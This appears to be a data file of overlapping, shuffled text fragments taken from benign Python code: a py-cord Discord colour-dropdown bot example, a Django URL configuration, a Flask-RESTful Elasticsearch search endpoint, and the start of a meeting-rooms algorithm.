"the Select menu. class DropdownView(discord.ui.View): def __init__(self, bot_: discord.Bot): self.bot = bot_ super().__init__()",
"emoji=\"🟦\"), ] # The placeholder is what will be shown when no option",
"is red\", emoji=\"🟥\"), discord.SelectOption(label=\"Green\", description=\"Your favourite colour is green\", emoji=\"🟩\"), discord.SelectOption(label=\"Blue\", description=\"Your favourite",
"object refers to the # Select object, and the values attribute gets a",
"placeholder=\"Choose your favourite colour...\", min_values=1, max_values=1, options=options, ) async def callback(self, interaction: discord.Interaction):",
"adding the dropdown can actually be done in a one-liner if preferred: #",
"to use the Select menu. class DropdownView(discord.ui.View): def __init__(self, bot_: discord.Bot): self.bot =",
"is blue\", emoji=\"🟦\"), ] # The placeholder is what will be shown when",
"a one-liner if preferred: # super().__init__(Dropdown(self.bot)) bot = discord.Bot(debug_guilds=[...]) @bot.slash_command() async def colour(ctx:",
"containing our View await ctx.respond(\"Pick your favourite colour:\", view=view) @bot.event async def on_ready():",
"user can choose. The callback function # of this class is called when",
"that will be presented inside the dropdown: options = [ discord.SelectOption(label=\"Red\", description=\"Your favourite",
"View that allows the user to use the Select menu. class DropdownView(discord.ui.View): def",
"so you don't need to pass the bot instance. self.bot = bot_ #",
"interaction: discord.Interaction): # Use the interaction object to send a response message containing",
"contains colour options.\"\"\" # Create the view containing our dropdown view = DropdownView(bot)",
"min_values=1, max_values=1, options=options, ) async def callback(self, interaction: discord.Interaction): # Use the interaction",
"super().__init__(Dropdown(self.bot)) bot = discord.Bot(debug_guilds=[...]) @bot.slash_command() async def colour(ctx: discord.ApplicationContext): \"\"\"Sends a message with",
"# of this class is called when the user changes their choice. class",
"need to pass the bot instance. self.bot = bot_ # Set the options",
"colour is green\", emoji=\"🟩\"), discord.SelectOption(label=\"Blue\", description=\"Your favourite colour is blue\", emoji=\"🟦\"), ] #",
"message containing our View await ctx.respond(\"Pick your favourite colour:\", view=view) @bot.event async def",
"favourite colour is green\", emoji=\"🟩\"), discord.SelectOption(label=\"Blue\", description=\"Your favourite colour is blue\", emoji=\"🟦\"), ]",
"colour...\", min_values=1, max_values=1, options=options, ) async def callback(self, interaction: discord.Interaction): # Use the",
"a list of the user's # selected options. We only want the first",
"Dropdown(discord.ui.Select): def __init__(self, bot_: discord.Bot): # For example, you can use self.bot to",
"discord # Defines a custom Select containing colour options # that the user",
"# Defines a simple View that allows the user to use the Select",
"= bot_ # Set the options that will be presented inside the dropdown:",
"and the values attribute gets a list of the user's # selected options.",
"dropdown: options = [ discord.SelectOption(label=\"Red\", description=\"Your favourite colour is red\", emoji=\"🟥\"), discord.SelectOption(label=\"Green\", description=\"Your",
"called when the user changes their choice. class Dropdown(discord.ui.Select): def __init__(self, bot_: discord.Bot):",
"choice. The self object refers to the # Select object, and the values",
"menu. class DropdownView(discord.ui.View): def __init__(self, bot_: discord.Bot): self.bot = bot_ super().__init__() # Adds",
"in a one-liner if preferred: # super().__init__(Dropdown(self.bot)) bot = discord.Bot(debug_guilds=[...]) @bot.slash_command() async def",
") async def callback(self, interaction: discord.Interaction): # Use the interaction object to send",
"to retrieve a user or perform other functions in the callback. # Alternatively",
"of the user's # selected options. We only want the first one. await",
"user's # selected options. We only want the first one. await interaction.response.send_message(f\"Your favourite",
"our dropdown that contains colour options.\"\"\" # Create the view containing our dropdown",
"can only pick one of the three options. # The options parameter, contents",
"a user or perform other functions in the callback. # Alternatively you can",
"DropdownView(bot) # Sending a message containing our View await ctx.respond(\"Pick your favourite colour:\",",
"what will be shown when no option is selected. # The min and",
"# The min and max values indicate we can only pick one of",
"description=\"Your favourite colour is red\", emoji=\"🟥\"), discord.SelectOption(label=\"Green\", description=\"Your favourite colour is green\", emoji=\"🟩\"),",
"the user can choose. The callback function # of this class is called",
"contents shown above, define the dropdown options. super().__init__( placeholder=\"Choose your favourite colour...\", min_values=1,",
"Select containing colour options # that the user can choose. The callback function",
"bot_: discord.Bot): # For example, you can use self.bot to retrieve a user",
"custom Select containing colour options # that the user can choose. The callback",
"object to send a response message containing # the user's favourite colour or",
"The self object refers to the # Select object, and the values attribute",
"one-liner if preferred: # super().__init__(Dropdown(self.bot)) bot = discord.Bot(debug_guilds=[...]) @bot.slash_command() async def colour(ctx: discord.ApplicationContext):",
"and adding the dropdown can actually be done in a one-liner if preferred:",
"a response message containing # the user's favourite colour or choice. The self",
"green\", emoji=\"🟩\"), discord.SelectOption(label=\"Blue\", description=\"Your favourite colour is blue\", emoji=\"🟦\"), ] # The placeholder",
"that allows the user to use the Select menu. class DropdownView(discord.ui.View): def __init__(self,",
"want the first one. await interaction.response.send_message(f\"Your favourite colour is {self.values[0]}\") # Defines a",
"simple View that allows the user to use the Select menu. class DropdownView(discord.ui.View):",
"attribute gets a list of the user's # selected options. We only want",
"or choice. The self object refers to the # Select object, and the",
"dropdown to our View object self.add_item(Dropdown(self.bot)) # Initializing the view and adding the",
"discord.Bot): self.bot = bot_ super().__init__() # Adds the dropdown to our View object",
"the view and adding the dropdown can actually be done in a one-liner",
"containing # the user's favourite colour or choice. The self object refers to",
"# that the user can choose. The callback function # of this class",
"the dropdown to our View object self.add_item(Dropdown(self.bot)) # Initializing the view and adding",
"if preferred: # super().__init__(Dropdown(self.bot)) bot = discord.Bot(debug_guilds=[...]) @bot.slash_command() async def colour(ctx: discord.ApplicationContext): \"\"\"Sends",
"values attribute gets a list of the user's # selected options. We only",
"or perform other functions in the callback. # Alternatively you can use Interaction.client,",
"can use self.bot to retrieve a user or perform other functions in the",
"= bot_ super().__init__() # Adds the dropdown to our View object self.add_item(Dropdown(self.bot)) #",
"favourite colour is red\", emoji=\"🟥\"), discord.SelectOption(label=\"Green\", description=\"Your favourite colour is green\", emoji=\"🟩\"), discord.SelectOption(label=\"Blue\",",
"async def colour(ctx: discord.ApplicationContext): \"\"\"Sends a message with our dropdown that contains colour",
"inside the dropdown: options = [ discord.SelectOption(label=\"Red\", description=\"Your favourite colour is red\", emoji=\"🟥\"),",
"when no option is selected. # The min and max values indicate we",
"option is selected. # The min and max values indicate we can only",
"a simple View that allows the user to use the Select menu. class",
"<gh_stars>0 import discord # Defines a custom Select containing colour options # that",
"choose. The callback function # of this class is called when the user",
"that the user can choose. The callback function # of this class is",
"the dropdown can actually be done in a one-liner if preferred: # super().__init__(Dropdown(self.bot))",
"colour options # that the user can choose. The callback function # of",
"bot = discord.Bot(debug_guilds=[...]) @bot.slash_command() async def colour(ctx: discord.ApplicationContext): \"\"\"Sends a message with our",
"bot instance. self.bot = bot_ # Set the options that will be presented",
"will be shown when no option is selected. # The min and max",
"the user to use the Select menu. class DropdownView(discord.ui.View): def __init__(self, bot_: discord.Bot):",
"of the three options. # The options parameter, contents shown above, define the",
"your favourite colour...\", min_values=1, max_values=1, options=options, ) async def callback(self, interaction: discord.Interaction): #",
"the values attribute gets a list of the user's # selected options. We",
"dropdown that contains colour options.\"\"\" # Create the view containing our dropdown view",
"# Set the options that will be presented inside the dropdown: options =",
"the interaction object to send a response message containing # the user's favourite",
"containing our dropdown view = DropdownView(bot) # Sending a message containing our View",
"class is called when the user changes their choice. class Dropdown(discord.ui.Select): def __init__(self,",
"@bot.slash_command() async def colour(ctx: discord.ApplicationContext): \"\"\"Sends a message with our dropdown that contains",
"when the user changes their choice. class Dropdown(discord.ui.Select): def __init__(self, bot_: discord.Bot): #",
"discord.SelectOption(label=\"Blue\", description=\"Your favourite colour is blue\", emoji=\"🟦\"), ] # The placeholder is what",
"functions in the callback. # Alternatively you can use Interaction.client, so you don't",
"preferred: # super().__init__(Dropdown(self.bot)) bot = discord.Bot(debug_guilds=[...]) @bot.slash_command() async def colour(ctx: discord.ApplicationContext): \"\"\"Sends a",
"options parameter, contents shown above, define the dropdown options. super().__init__( placeholder=\"Choose your favourite",
"self.bot to retrieve a user or perform other functions in the callback. #",
"presented inside the dropdown: options = [ discord.SelectOption(label=\"Red\", description=\"Your favourite colour is red\",",
"their choice. class Dropdown(discord.ui.Select): def __init__(self, bot_: discord.Bot): # For example, you can",
"options. # The options parameter, contents shown above, define the dropdown options. super().__init__(",
"= DropdownView(bot) # Sending a message containing our View await ctx.respond(\"Pick your favourite",
"our View object self.add_item(Dropdown(self.bot)) # Initializing the view and adding the dropdown can",
"shown when no option is selected. # The min and max values indicate",
"callback function # of this class is called when the user changes their",
"is called when the user changes their choice. class Dropdown(discord.ui.Select): def __init__(self, bot_:",
"view and adding the dropdown can actually be done in a one-liner if",
"colour is {self.values[0]}\") # Defines a simple View that allows the user to",
"three options. # The options parameter, contents shown above, define the dropdown options.",
"message with our dropdown that contains colour options.\"\"\" # Create the view containing",
"We only want the first one. await interaction.response.send_message(f\"Your favourite colour is {self.values[0]}\") #",
"Use the interaction object to send a response message containing # the user's",
"discord.ApplicationContext): \"\"\"Sends a message with our dropdown that contains colour options.\"\"\" # Create",
"= discord.Bot(debug_guilds=[...]) @bot.slash_command() async def colour(ctx: discord.ApplicationContext): \"\"\"Sends a message with our dropdown",
"be done in a one-liner if preferred: # super().__init__(Dropdown(self.bot)) bot = discord.Bot(debug_guilds=[...]) @bot.slash_command()",
"favourite colour or choice. The self object refers to the # Select object,",
"Initializing the view and adding the dropdown can actually be done in a",
"is selected. # The min and max values indicate we can only pick",
"gets a list of the user's # selected options. We only want the",
"DropdownView(discord.ui.View): def __init__(self, bot_: discord.Bot): self.bot = bot_ super().__init__() # Adds the dropdown",
"favourite colour...\", min_values=1, max_values=1, options=options, ) async def callback(self, interaction: discord.Interaction): # Use",
"can use Interaction.client, so you don't need to pass the bot instance. self.bot",
"one. await interaction.response.send_message(f\"Your favourite colour is {self.values[0]}\") # Defines a simple View that",
"dropdown view = DropdownView(bot) # Sending a message containing our View await ctx.respond(\"Pick",
"actually be done in a one-liner if preferred: # super().__init__(Dropdown(self.bot)) bot = discord.Bot(debug_guilds=[...])",
"def colour(ctx: discord.ApplicationContext): \"\"\"Sends a message with our dropdown that contains colour options.\"\"\"",
"parameter, contents shown above, define the dropdown options. super().__init__( placeholder=\"Choose your favourite colour...\",",
"you can use self.bot to retrieve a user or perform other functions in",
"view=view) @bot.event async def on_ready(): print(f\"Logged in as {bot.user} (ID: {bot.user.id})\") print(\"------\") bot.run(\"TOKEN\")",
"to the # Select object, and the values attribute gets a list of",
"a message with our dropdown that contains colour options.\"\"\" # Create the view",
"allows the user to use the Select menu. class DropdownView(discord.ui.View): def __init__(self, bot_:",
"# Create the view containing our dropdown view = DropdownView(bot) # Sending a",
"dropdown options. super().__init__( placeholder=\"Choose your favourite colour...\", min_values=1, max_values=1, options=options, ) async def",
"# Use the interaction object to send a response message containing # the",
"red\", emoji=\"🟥\"), discord.SelectOption(label=\"Green\", description=\"Your favourite colour is green\", emoji=\"🟩\"), discord.SelectOption(label=\"Blue\", description=\"Your favourite colour",
"The options parameter, contents shown above, define the dropdown options. super().__init__( placeholder=\"Choose your",
"selected. # The min and max values indicate we can only pick one",
"class Dropdown(discord.ui.Select): def __init__(self, bot_: discord.Bot): # For example, you can use self.bot",
"Select menu. class DropdownView(discord.ui.View): def __init__(self, bot_: discord.Bot): self.bot = bot_ super().__init__() #",
"selected options. We only want the first one. await interaction.response.send_message(f\"Your favourite colour is",
"only want the first one. await interaction.response.send_message(f\"Your favourite colour is {self.values[0]}\") # Defines",
"self.bot = bot_ # Set the options that will be presented inside the",
"# The options parameter, contents shown above, define the dropdown options. super().__init__( placeholder=\"Choose",
"colour is red\", emoji=\"🟥\"), discord.SelectOption(label=\"Green\", description=\"Your favourite colour is green\", emoji=\"🟩\"), discord.SelectOption(label=\"Blue\", description=\"Your",
"For example, you can use self.bot to retrieve a user or perform other",
"# the user's favourite colour or choice. The self object refers to the",
"# Initializing the view and adding the dropdown can actually be done in",
"the options that will be presented inside the dropdown: options = [ discord.SelectOption(label=\"Red\",",
"discord.SelectOption(label=\"Red\", description=\"Your favourite colour is red\", emoji=\"🟥\"), discord.SelectOption(label=\"Green\", description=\"Your favourite colour is green\",",
"{self.values[0]}\") # Defines a simple View that allows the user to use the",
"this class is called when the user changes their choice. class Dropdown(discord.ui.Select): def",
"favourite colour:\", view=view) @bot.event async def on_ready(): print(f\"Logged in as {bot.user} (ID: {bot.user.id})\")",
"await ctx.respond(\"Pick your favourite colour:\", view=view) @bot.event async def on_ready(): print(f\"Logged in as",
"options # that the user can choose. The callback function # of this",
"define the dropdown options. super().__init__( placeholder=\"Choose your favourite colour...\", min_values=1, max_values=1, options=options, )",
"View await ctx.respond(\"Pick your favourite colour:\", view=view) @bot.event async def on_ready(): print(f\"Logged in",
"can choose. The callback function # of this class is called when the",
"no option is selected. # The min and max values indicate we can",
"send a response message containing # the user's favourite colour or choice. The",
"pass the bot instance. self.bot = bot_ # Set the options that will",
"favourite colour is {self.values[0]}\") # Defines a simple View that allows the user",
"shown above, define the dropdown options. super().__init__( placeholder=\"Choose your favourite colour...\", min_values=1, max_values=1,",
"dropdown can actually be done in a one-liner if preferred: # super().__init__(Dropdown(self.bot)) bot",
"Create the view containing our dropdown view = DropdownView(bot) # Sending a message",
"def __init__(self, bot_: discord.Bot): self.bot = bot_ super().__init__() # Adds the dropdown to",
"discord.Interaction): # Use the interaction object to send a response message containing #",
"# For example, you can use self.bot to retrieve a user or perform"
] |
[
"import url from . import views urlpatterns = [ url(r'^new/$', views.create, name='new'), url(r'^store/',",
". import views urlpatterns = [ url(r'^new/$', views.create, name='new'), url(r'^store/', views.store, name='store'), url(r'^$',",
"urlpatterns = [ url(r'^new/$', views.create, name='new'), url(r'^store/', views.store, name='store'), url(r'^$', views.index, name='index'), ]",
"import views urlpatterns = [ url(r'^new/$', views.create, name='new'), url(r'^store/', views.store, name='store'), url(r'^$', views.index,",
"django.conf.urls import url from . import views urlpatterns = [ url(r'^new/$', views.create, name='new'),",
"from django.conf.urls import url from . import views urlpatterns = [ url(r'^new/$', views.create,",
"url from . import views urlpatterns = [ url(r'^new/$', views.create, name='new'), url(r'^store/', views.store,",
"<gh_stars>1-10 from django.conf.urls import url from . import views urlpatterns = [ url(r'^new/$',",
"from . import views urlpatterns = [ url(r'^new/$', views.create, name='new'), url(r'^store/', views.store, name='store'),",
"views urlpatterns = [ url(r'^new/$', views.create, name='new'), url(r'^store/', views.store, name='store'), url(r'^$', views.index, name='index'),"
] |
[
"= filterredResults search.facets = [] for facet_name in results.facets: if facet_name == \"Approved\":",
"RestException from app.models import ThrivResource, Availability, ThrivInstitution from app.models import Facet, FacetCount, Filter,",
"== \"Approved\": if 'user' in g and g.user and g.user.role == \"Admin\": facet",
"and g.user.role == \"Admin\": facet = Facet(facet_name) facet.facetCounts = [] for category, hit_count,",
"g.user.role == \"Admin\": facet = Facet(facet_name) facet.facetCounts = [] for category, hit_count, is_selected",
"category, hit_count, is_selected in results.facets[ facet_name]: facet.facetCounts.append( FacetCount(category, hit_count, is_selected)) search.facets.append(facet) return SearchSchema().jsonify(search)",
"== \"Admin\": facet = Facet(facet_name) facet.facetCounts = [] for category, hit_count, is_selected in",
"app.resources.Auth import login_optional class SearchEndpoint(flask_restful.Resource): @login_optional def post(self): request_data = request.get_json() search, errors",
"if errors: raise RestException(RestException.INVALID_OBJECT, details=errors) try: results = elastic_index.search_resources(search) except elasticsearch.ElasticsearchException as e:",
"import ThrivResource, Availability, ThrivInstitution from app.models import Facet, FacetCount, Filter, Search from app.resources.schema",
"facet.facetCounts = [] for category, hit_count, is_selected in results.facets[ facet_name]: facet.facetCounts.append( FacetCount(category, hit_count,",
"[] for facet_name in results.facets: if facet_name == \"Approved\": if 'user' in g",
"= [] for hit in results: resource = ThrivResource.query.filter_by(id=hit.id).first() if resource is not",
"= results.hits.total search.resources = ThrivResourceSchema().dump( resources, many=True).data results.hits = filterredResults search.facets = []",
"except elasticsearch.ElasticsearchException as e: print(e) raise RestException(RestException.ELASTIC_ERROR) resources = [] filterredResults = []",
"resource is not None and resource.user_may_view(): resources.append(resource) filterredResults.append(hit) search.total = results.hits.total search.resources =",
"[] for category, hit_count, is_selected in results.facets[ facet_name]: facet.facetCounts.append( FacetCount(category, hit_count, is_selected)) search.facets.append(facet)",
"= ThrivResourceSchema().dump( resources, many=True).data results.hits = filterredResults search.facets = [] for facet_name in",
"app import elastic_index, RestException from app.models import ThrivResource, Availability, ThrivInstitution from app.models import",
"ThrivResourceSchema from app.resources.Auth import login_optional class SearchEndpoint(flask_restful.Resource): @login_optional def post(self): request_data = request.get_json()",
"category, hit_count, is_selected in results.facets[ facet_name]: facet.facetCounts.append( FacetCount(category, hit_count, is_selected)) search.facets.append(facet) else: facet",
"resources, many=True).data results.hits = filterredResults search.facets = [] for facet_name in results.facets: if",
"FacetCount, Filter, Search from app.resources.schema import SearchSchema, ThrivResourceSchema from app.resources.Auth import login_optional class",
"for hit in results: resource = ThrivResource.query.filter_by(id=hit.id).first() if resource is not None and",
"ThrivResourceSchema().dump( resources, many=True).data results.hits = filterredResults search.facets = [] for facet_name in results.facets:",
"FacetCount(category, hit_count, is_selected)) search.facets.append(facet) else: facet = Facet(facet_name) facet.facetCounts = [] for category,",
"import login_optional class SearchEndpoint(flask_restful.Resource): @login_optional def post(self): request_data = request.get_json() search, errors =",
"request_data = request.get_json() search, errors = SearchSchema().load(request_data) if errors: raise RestException(RestException.INVALID_OBJECT, details=errors) try:",
"and g.user and g.user.role == \"Admin\": facet = Facet(facet_name) facet.facetCounts = [] for",
"else: facet = Facet(facet_name) facet.facetCounts = [] for category, hit_count, is_selected in results.facets[",
"elasticsearch import flask_restful from flask import request, g from app import elastic_index, RestException",
"g from app import elastic_index, RestException from app.models import ThrivResource, Availability, ThrivInstitution from",
"SearchSchema, ThrivResourceSchema from app.resources.Auth import login_optional class SearchEndpoint(flask_restful.Resource): @login_optional def post(self): request_data =",
"= Facet(facet_name) facet.facetCounts = [] for category, hit_count, is_selected in results.facets[ facet_name]: facet.facetCounts.append(",
"errors = SearchSchema().load(request_data) if errors: raise RestException(RestException.INVALID_OBJECT, details=errors) try: results = elastic_index.search_resources(search) except",
"e: print(e) raise RestException(RestException.ELASTIC_ERROR) resources = [] filterredResults = [] for hit in",
"errors: raise RestException(RestException.INVALID_OBJECT, details=errors) try: results = elastic_index.search_resources(search) except elasticsearch.ElasticsearchException as e: print(e)",
"post(self): request_data = request.get_json() search, errors = SearchSchema().load(request_data) if errors: raise RestException(RestException.INVALID_OBJECT, details=errors)",
"raise RestException(RestException.ELASTIC_ERROR) resources = [] filterredResults = [] for hit in results: resource",
"'user' in g and g.user and g.user.role == \"Admin\": facet = Facet(facet_name) facet.facetCounts",
"is_selected in results.facets[ facet_name]: facet.facetCounts.append( FacetCount(category, hit_count, is_selected)) search.facets.append(facet) else: facet = Facet(facet_name)",
"Search from app.resources.schema import SearchSchema, ThrivResourceSchema from app.resources.Auth import login_optional class SearchEndpoint(flask_restful.Resource): @login_optional",
"from app.models import Facet, FacetCount, Filter, Search from app.resources.schema import SearchSchema, ThrivResourceSchema from",
"resources.append(resource) filterredResults.append(hit) search.total = results.hits.total search.resources = ThrivResourceSchema().dump( resources, many=True).data results.hits = filterredResults",
"\"Admin\": facet = Facet(facet_name) facet.facetCounts = [] for category, hit_count, is_selected in results.facets[",
"in results: resource = ThrivResource.query.filter_by(id=hit.id).first() if resource is not None and resource.user_may_view(): resources.append(resource)",
"class SearchEndpoint(flask_restful.Resource): @login_optional def post(self): request_data = request.get_json() search, errors = SearchSchema().load(request_data) if",
"facet_name == \"Approved\": if 'user' in g and g.user and g.user.role == \"Admin\":",
"SearchEndpoint(flask_restful.Resource): @login_optional def post(self): request_data = request.get_json() search, errors = SearchSchema().load(request_data) if errors:",
"from app.resources.schema import SearchSchema, ThrivResourceSchema from app.resources.Auth import login_optional class SearchEndpoint(flask_restful.Resource): @login_optional def",
"search.total = results.hits.total search.resources = ThrivResourceSchema().dump( resources, many=True).data results.hits = filterredResults search.facets =",
"results.hits = filterredResults search.facets = [] for facet_name in results.facets: if facet_name ==",
"= [] for facet_name in results.facets: if facet_name == \"Approved\": if 'user' in",
"try: results = elastic_index.search_resources(search) except elasticsearch.ElasticsearchException as e: print(e) raise RestException(RestException.ELASTIC_ERROR) resources =",
"SearchSchema().load(request_data) if errors: raise RestException(RestException.INVALID_OBJECT, details=errors) try: results = elastic_index.search_resources(search) except elasticsearch.ElasticsearchException as",
"facet = Facet(facet_name) facet.facetCounts = [] for category, hit_count, is_selected in results.facets[ facet_name]:",
"if resource is not None and resource.user_may_view(): resources.append(resource) filterredResults.append(hit) search.total = results.hits.total search.resources",
"request, g from app import elastic_index, RestException from app.models import ThrivResource, Availability, ThrivInstitution",
"g and g.user and g.user.role == \"Admin\": facet = Facet(facet_name) facet.facetCounts = []",
"many=True).data results.hits = filterredResults search.facets = [] for facet_name in results.facets: if facet_name",
"results.facets: if facet_name == \"Approved\": if 'user' in g and g.user and g.user.role",
"resource = ThrivResource.query.filter_by(id=hit.id).first() if resource is not None and resource.user_may_view(): resources.append(resource) filterredResults.append(hit) search.total",
"<filename>app/resources/SearchEndpoint.py import elasticsearch import flask_restful from flask import request, g from app import",
"facet_name in results.facets: if facet_name == \"Approved\": if 'user' in g and g.user",
"from app.resources.Auth import login_optional class SearchEndpoint(flask_restful.Resource): @login_optional def post(self): request_data = request.get_json() search,",
"Facet(facet_name) facet.facetCounts = [] for category, hit_count, is_selected in results.facets[ facet_name]: facet.facetCounts.append( FacetCount(category,",
"facet.facetCounts.append( FacetCount(category, hit_count, is_selected)) search.facets.append(facet) else: facet = Facet(facet_name) facet.facetCounts = [] for",
"elasticsearch.ElasticsearchException as e: print(e) raise RestException(RestException.ELASTIC_ERROR) resources = [] filterredResults = [] for",
"login_optional class SearchEndpoint(flask_restful.Resource): @login_optional def post(self): request_data = request.get_json() search, errors = SearchSchema().load(request_data)",
"import SearchSchema, ThrivResourceSchema from app.resources.Auth import login_optional class SearchEndpoint(flask_restful.Resource): @login_optional def post(self): request_data",
"filterredResults = [] for hit in results: resource = ThrivResource.query.filter_by(id=hit.id).first() if resource is",
"search.facets.append(facet) else: facet = Facet(facet_name) facet.facetCounts = [] for category, hit_count, is_selected in",
"details=errors) try: results = elastic_index.search_resources(search) except elasticsearch.ElasticsearchException as e: print(e) raise RestException(RestException.ELASTIC_ERROR) resources",
"import Facet, FacetCount, Filter, Search from app.resources.schema import SearchSchema, ThrivResourceSchema from app.resources.Auth import",
"elastic_index, RestException from app.models import ThrivResource, Availability, ThrivInstitution from app.models import Facet, FacetCount,",
"def post(self): request_data = request.get_json() search, errors = SearchSchema().load(request_data) if errors: raise RestException(RestException.INVALID_OBJECT,",
"resources = [] filterredResults = [] for hit in results: resource = ThrivResource.query.filter_by(id=hit.id).first()",
"RestException(RestException.INVALID_OBJECT, details=errors) try: results = elastic_index.search_resources(search) except elasticsearch.ElasticsearchException as e: print(e) raise RestException(RestException.ELASTIC_ERROR)",
"app.resources.schema import SearchSchema, ThrivResourceSchema from app.resources.Auth import login_optional class SearchEndpoint(flask_restful.Resource): @login_optional def post(self):",
"flask_restful from flask import request, g from app import elastic_index, RestException from app.models",
"from flask import request, g from app import elastic_index, RestException from app.models import",
"Facet, FacetCount, Filter, Search from app.resources.schema import SearchSchema, ThrivResourceSchema from app.resources.Auth import login_optional",
"[] for hit in results: resource = ThrivResource.query.filter_by(id=hit.id).first() if resource is not None",
"search.facets = [] for facet_name in results.facets: if facet_name == \"Approved\": if 'user'",
"flask import request, g from app import elastic_index, RestException from app.models import ThrivResource,",
"@login_optional def post(self): request_data = request.get_json() search, errors = SearchSchema().load(request_data) if errors: raise",
"search, errors = SearchSchema().load(request_data) if errors: raise RestException(RestException.INVALID_OBJECT, details=errors) try: results = elastic_index.search_resources(search)",
"g.user and g.user.role == \"Admin\": facet = Facet(facet_name) facet.facetCounts = [] for category,",
"= [] filterredResults = [] for hit in results: resource = ThrivResource.query.filter_by(id=hit.id).first() if",
"filterredResults search.facets = [] for facet_name in results.facets: if facet_name == \"Approved\": if",
"import request, g from app import elastic_index, RestException from app.models import ThrivResource, Availability,",
"print(e) raise RestException(RestException.ELASTIC_ERROR) resources = [] filterredResults = [] for hit in results:",
"\"Approved\": if 'user' in g and g.user and g.user.role == \"Admin\": facet =",
"facet_name]: facet.facetCounts.append( FacetCount(category, hit_count, is_selected)) search.facets.append(facet) else: facet = Facet(facet_name) facet.facetCounts = []",
"search.resources = ThrivResourceSchema().dump( resources, many=True).data results.hits = filterredResults search.facets = [] for facet_name",
"= elastic_index.search_resources(search) except elasticsearch.ElasticsearchException as e: print(e) raise RestException(RestException.ELASTIC_ERROR) resources = [] filterredResults",
"import elastic_index, RestException from app.models import ThrivResource, Availability, ThrivInstitution from app.models import Facet,",
"ThrivResource.query.filter_by(id=hit.id).first() if resource is not None and resource.user_may_view(): resources.append(resource) filterredResults.append(hit) search.total = results.hits.total",
"RestException(RestException.ELASTIC_ERROR) resources = [] filterredResults = [] for hit in results: resource =",
"in g and g.user and g.user.role == \"Admin\": facet = Facet(facet_name) facet.facetCounts =",
"is_selected)) search.facets.append(facet) else: facet = Facet(facet_name) facet.facetCounts = [] for category, hit_count, is_selected",
"= [] for category, hit_count, is_selected in results.facets[ facet_name]: facet.facetCounts.append( FacetCount(category, hit_count, is_selected))",
"for category, hit_count, is_selected in results.facets[ facet_name]: facet.facetCounts.append( FacetCount(category, hit_count, is_selected)) search.facets.append(facet) return",
"hit in results: resource = ThrivResource.query.filter_by(id=hit.id).first() if resource is not None and resource.user_may_view():",
"in results.facets[ facet_name]: facet.facetCounts.append( FacetCount(category, hit_count, is_selected)) search.facets.append(facet) else: facet = Facet(facet_name) facet.facetCounts",
"Availability, ThrivInstitution from app.models import Facet, FacetCount, Filter, Search from app.resources.schema import SearchSchema,",
"if facet_name == \"Approved\": if 'user' in g and g.user and g.user.role ==",
"ThrivResource, Availability, ThrivInstitution from app.models import Facet, FacetCount, Filter, Search from app.resources.schema import",
"Filter, Search from app.resources.schema import SearchSchema, ThrivResourceSchema from app.resources.Auth import login_optional class SearchEndpoint(flask_restful.Resource):",
"as e: print(e) raise RestException(RestException.ELASTIC_ERROR) resources = [] filterredResults = [] for hit",
"ThrivInstitution from app.models import Facet, FacetCount, Filter, Search from app.resources.schema import SearchSchema, ThrivResourceSchema",
"filterredResults.append(hit) search.total = results.hits.total search.resources = ThrivResourceSchema().dump( resources, many=True).data results.hits = filterredResults search.facets",
"raise RestException(RestException.INVALID_OBJECT, details=errors) try: results = elastic_index.search_resources(search) except elasticsearch.ElasticsearchException as e: print(e) raise",
"app.models import ThrivResource, Availability, ThrivInstitution from app.models import Facet, FacetCount, Filter, Search from",
"app.models import Facet, FacetCount, Filter, Search from app.resources.schema import SearchSchema, ThrivResourceSchema from app.resources.Auth",
"hit_count, is_selected in results.facets[ facet_name]: facet.facetCounts.append( FacetCount(category, hit_count, is_selected)) search.facets.append(facet) else: facet =",
"from app import elastic_index, RestException from app.models import ThrivResource, Availability, ThrivInstitution from app.models",
"results: resource = ThrivResource.query.filter_by(id=hit.id).first() if resource is not None and resource.user_may_view(): resources.append(resource) filterredResults.append(hit)",
"results = elastic_index.search_resources(search) except elasticsearch.ElasticsearchException as e: print(e) raise RestException(RestException.ELASTIC_ERROR) resources = []",
"elastic_index.search_resources(search) except elasticsearch.ElasticsearchException as e: print(e) raise RestException(RestException.ELASTIC_ERROR) resources = [] filterredResults =",
"[] filterredResults = [] for hit in results: resource = ThrivResource.query.filter_by(id=hit.id).first() if resource",
"is not None and resource.user_may_view(): resources.append(resource) filterredResults.append(hit) search.total = results.hits.total search.resources = ThrivResourceSchema().dump(",
"for facet_name in results.facets: if facet_name == \"Approved\": if 'user' in g and",
"in results.facets: if facet_name == \"Approved\": if 'user' in g and g.user and",
"for category, hit_count, is_selected in results.facets[ facet_name]: facet.facetCounts.append( FacetCount(category, hit_count, is_selected)) search.facets.append(facet) else:",
"not None and resource.user_may_view(): resources.append(resource) filterredResults.append(hit) search.total = results.hits.total search.resources = ThrivResourceSchema().dump( resources,",
"from app.models import ThrivResource, Availability, ThrivInstitution from app.models import Facet, FacetCount, Filter, Search",
"results.hits.total search.resources = ThrivResourceSchema().dump( resources, many=True).data results.hits = filterredResults search.facets = [] for",
"= SearchSchema().load(request_data) if errors: raise RestException(RestException.INVALID_OBJECT, details=errors) try: results = elastic_index.search_resources(search) except elasticsearch.ElasticsearchException",
"if 'user' in g and g.user and g.user.role == \"Admin\": facet = Facet(facet_name)",
"and resource.user_may_view(): resources.append(resource) filterredResults.append(hit) search.total = results.hits.total search.resources = ThrivResourceSchema().dump( resources, many=True).data results.hits",
"import flask_restful from flask import request, g from app import elastic_index, RestException from",
"None and resource.user_may_view(): resources.append(resource) filterredResults.append(hit) search.total = results.hits.total search.resources = ThrivResourceSchema().dump( resources, many=True).data",
"request.get_json() search, errors = SearchSchema().load(request_data) if errors: raise RestException(RestException.INVALID_OBJECT, details=errors) try: results =",
"hit_count, is_selected)) search.facets.append(facet) else: facet = Facet(facet_name) facet.facetCounts = [] for category, hit_count,",
"import elasticsearch import flask_restful from flask import request, g from app import elastic_index,",
"resource.user_may_view(): resources.append(resource) filterredResults.append(hit) search.total = results.hits.total search.resources = ThrivResourceSchema().dump( resources, many=True).data results.hits =",
"= request.get_json() search, errors = SearchSchema().load(request_data) if errors: raise RestException(RestException.INVALID_OBJECT, details=errors) try: results",
"= ThrivResource.query.filter_by(id=hit.id).first() if resource is not None and resource.user_may_view(): resources.append(resource) filterredResults.append(hit) search.total =",
"results.facets[ facet_name]: facet.facetCounts.append( FacetCount(category, hit_count, is_selected)) search.facets.append(facet) else: facet = Facet(facet_name) facet.facetCounts ="
] |
[
"minMeetingRooms(self, intervals: List[List[int]]) -> int: import heapq if not intervals: return 0 intervals.sort(key",
